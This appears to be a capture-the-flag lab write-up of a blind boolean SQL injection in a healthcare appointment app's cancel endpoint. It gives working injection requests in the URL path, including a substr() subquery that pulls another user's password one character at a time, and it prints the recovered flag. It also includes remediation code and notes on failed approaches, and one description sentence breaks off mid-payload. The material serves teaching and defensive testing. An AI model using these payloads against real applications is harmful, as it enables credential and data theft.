Appointments: Blind Boolean SQL Injection in a Path Parameter
Executive Summary
The target is a healthcare appointment-booking application with two roles, patient and doctor, fronted by static HTML pages and a JSON API under /api/*, with HS256 JWT authentication. Testing an ordinary patient account found that the appointment cancellation endpoint interpolates its numeric path parameter directly into a SQL statement, allowing a blind boolean SQL injection.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Blind boolean SQL injection in the appointment cancellation path parameter | High | 8.8 | CWE-89 | POST /api/appointments/:id/cancel |
F1 lets any authenticated patient read arbitrary data from the application database. It was used to extract another user’s stored password value one character at a time. CVSS raw math places it at 8.8 (High); given that it is the finding that discloses the flag and grants full database read access, it is treated as Critical in practical terms.
Objective
Assess the appointment-booking application from the position of a registered patient and identify a vulnerability that discloses the engagement flag.
Scope / Initial Access
# Target Application
URL: https://lab-1779319314603-iev1lh.labs-app.bugforge.io
# (lab redeploys on fresh instances; hostname rotates per instance)
# Auth details
Registration: POST /api/auth/register {username, password, full_name}
-> 201; no role field is sent, the server assigns the role
Login: POST /api/auth/login -> {token, user}
Token: HS256 JWT, claims {id, username, role, full_name, iat, exp}
exp = iat + 2h
Test identity: haxor / id 5 / role patient / own appointment id 5
Registration accepts only username, password, and full_name. The role is assigned server-side and is not client-controllable at registration.
Reconnaissance: Walking the Booking Flow
The application surface was mapped by registering a patient account and walking the booking flow end to end: listing doctors and reasons, creating an appointment, viewing it, and cancelling it. The following observations shaped the test plan.
GET /api/appointmentsreturns the caller’s own appointments in a trimmed view (date, time, reason name, status, doctor name).POST /api/appointments/:id/cancel, by contrast, echoes the full underlying database row for the appointment:{id, doctor_id, patient_id, reason_id, status}.- The cancel endpoint takes the appointment id as a numeric segment in the URL path (
/api/appointments/5/cancel), not as a query string or body field. - The cancel response varies depending on whether the supplied id resolves to an appointment. The success path and the non-resolving path produce distinguishable responses, which gives a usable signal channel even with no error output.
Observation 2 made the numeric path segment the primary injection candidate; observation 3 confirmed a response difference was available to use as a boolean oracle.
Application Architecture
| Component | Detail |
|---|---|
| Backend | JSON API under /api/*; backend framework not identified |
| Frontend | Static HTML pages (login.html, patient-dashboard.html, doctor-dashboard.html) with an auth.js client-side role guard |
| Auth | HS256 JWT, claims {id, username, role, full_name, iat, exp}, 2-hour expiry |
| Database | SQL database; substr() and length() available, exact engine not identified |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/auth/register |
POST | No | {username, password, full_name} returns 201; role assigned server-side |
/api/auth/login |
POST | No | Returns {token, user} |
/api/doctors |
GET | Yes | [{id, username}] |
/api/reasons |
GET | Yes | 7 canned appointment reasons |
/api/appointments |
GET | Yes | Caller’s own appointments (trimmed view) |
/api/appointments |
POST | Yes | Create appointment |
/api/appointments/:id/cancel |
POST | Yes | Cancel; echoes the full appointment row. Injectable |
Known Users
| Username | ID | Role |
|---|---|---|
| dr.smith | 1 | doctor |
| dr.jones | 2 | doctor |
| haxor | 5 | patient |
Attack Chain Visualization
┌───────────────────┐ ┌────────────────────────┐ ┌─────────────────────┐ ┌──────────────────────┐
│ Patient JWT │ │ POST /api/appointments/│ │ Inject boolean │ │ Binary search │
│ (HS256, role │──▶│ :id/cancel, numeric │──▶│ subquery into :id │──▶│ substr(password,i,1) │
│ patient, id 5) │ │ id in the URL path │ │ TRUE/FALSE oracle │ │ dr.jones password │
└───────────────────┘ └────────────────────────┘ └─────────────────────┘ └──────────────────────┘
Findings
F1: Blind boolean SQL injection in the appointment cancellation path parameter
Severity: High (Critical in practical terms; see Executive Summary)
CVSS v3.1: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
Endpoint: POST /api/appointments/:id/cancel
Authentication required: Yes (any patient account)
Description
The appointment id supplied in the URL path of POST /api/appointments/:id/cancel is interpolated directly into a SQL statement without parameterization or integer validation. Appending ` and (
Impact
Allows any authenticated patient to read arbitrary data from the application database, including other users’ stored password values.
Reproduction
Step 1: Authenticate as a patient
POST /api/auth/login HTTP/2
Host: lab-1779319314603-iev1lh.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor","password":"<password>"}
Response: 200 with {"token":"eyJ...", "user":{...}}. The token is used as Authorization: Bearer on all subsequent requests.
Step 2: Establish the baseline cancel response
POST /api/appointments/5/cancel HTTP/2
Host: lab-1779319314603-iev1lh.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOi...
Content-Length: 0
Response: 200, echoing the full row {id:5, doctor_id, patient_id:5, reason_id, status}. This is the TRUE branch reference response.
Step 3: Calibrate the boolean oracle
Send the id with a condition known to be true and one known to be false appended:
POST /api/appointments/5 and (1=1)/cancel HTTP/2
POST /api/appointments/5 and (1=2)/cancel HTTP/2
The 1=1 request matches the Step 2 baseline; the 1=2 request differs measurably (status code or response body length). A measurable difference between the two confirms the id is concatenated into a SQL query unsanitized, and fixes the discriminator used for extraction.
Step 4: Extract a target column character by character
Inject a substr() subquery and compare each character against the charset. The request below tests whether the 22nd character of dr.jones’s password is P:
POST /api/appointments/5 and (select substr(password,22,1) from users where username='dr.jones')='P'/cancel HTTP/2
Host: lab-1779319314603-iev1lh.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOi...
Content-Length: 0
Response: matches the TRUE branch, so the 22nd character is P. Repeating this as a binary search over the charset (about 7 requests per character) recovers the full value. The extraction was automated with extract.py, which auto-calibrates the oracle, detects database case sensitivity, and binary-searches length() and each substr() position.
Recovered value (users.password for dr.jones):
bug{ie1EWTcf7HdgnF4P8Pgxcjkh05XZ6MTU}
Remediation
Fix 1: Validate the id, then bind it as a query parameter
Example shown in Node.js style; the principle is identical across stacks.
// BEFORE (Vulnerable): id concatenated straight into the query
app.post('/api/appointments/:id/cancel', (req, res) => {
const id = req.params.id;
db.query(`UPDATE appointments SET status='cancelled' WHERE id=${id}`);
// ...
});
// AFTER (Secure): reject non-integer ids, then bind id as a parameter
app.post('/api/appointments/:id/cancel', (req, res) => {
const id = Number(req.params.id);
if (!Number.isInteger(id)) {
return res.status(400).json({ error: 'invalid appointment id' });
}
db.query(
'UPDATE appointments SET status=$1 WHERE id=$2 AND patient_id=$3',
['cancelled', id, req.user.id]
);
// ...
});
Additional recommendations:
- Validate every numeric path and query parameter as an integer at the route boundary, before it reaches the data layer.
- Audit sibling routes that accept numeric path parameters (
GET /api/appointments/:idand similar) for the same concatenation pattern. - Use an ORM or query builder that parameterizes by default, so raw string interpolation into SQL is never the path of least resistance.
- Scope the cancel query to the caller (
AND patient_id = :caller) so the endpoint cannot act on or resolve appointments the caller does not own.
OWASP Top 10 Coverage
- A03:2021 Injection: The numeric appointment id is concatenated into a SQL statement without parameterization or input validation, allowing a blind boolean SQL injection that reads arbitrary database content.
Tools Used
| Tool | Purpose |
|---|---|
| HTTP intercepting proxy | Capturing and replaying the cancel request with the injected path |
extract.py |
Auto-calibrating boolean-based blind extractor: oracle calibration, case sensitivity detection, per-character binary search |
References
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command: https://cwe.mitre.org/data/definitions/89.html
- OWASP Top 10 2021, A03 Injection: https://owasp.org/Top10/A03_2021-Injection/
- OWASP WSTG, Testing for Blind SQL Injection: https://owasp.org/www-project-web-security-testing-guide/
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| Bypass the client-side role guard | auth.js guardAuth() enforces role routing only in the browser; it is bypassable |
Bypassing it only changes which dashboard renders. The flag is the dr.jones password value, reached via SQL injection, not by reaching the doctor UI |
Stored XSS via full_name / appointment reason |
full_name renders through textContent; appointment fields render through escapeHtml |
Output is encoded at every observed sink, so there is no injection point |
Tags: #sqli #blind-sqli #boolean-based #path-parameter #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-05-22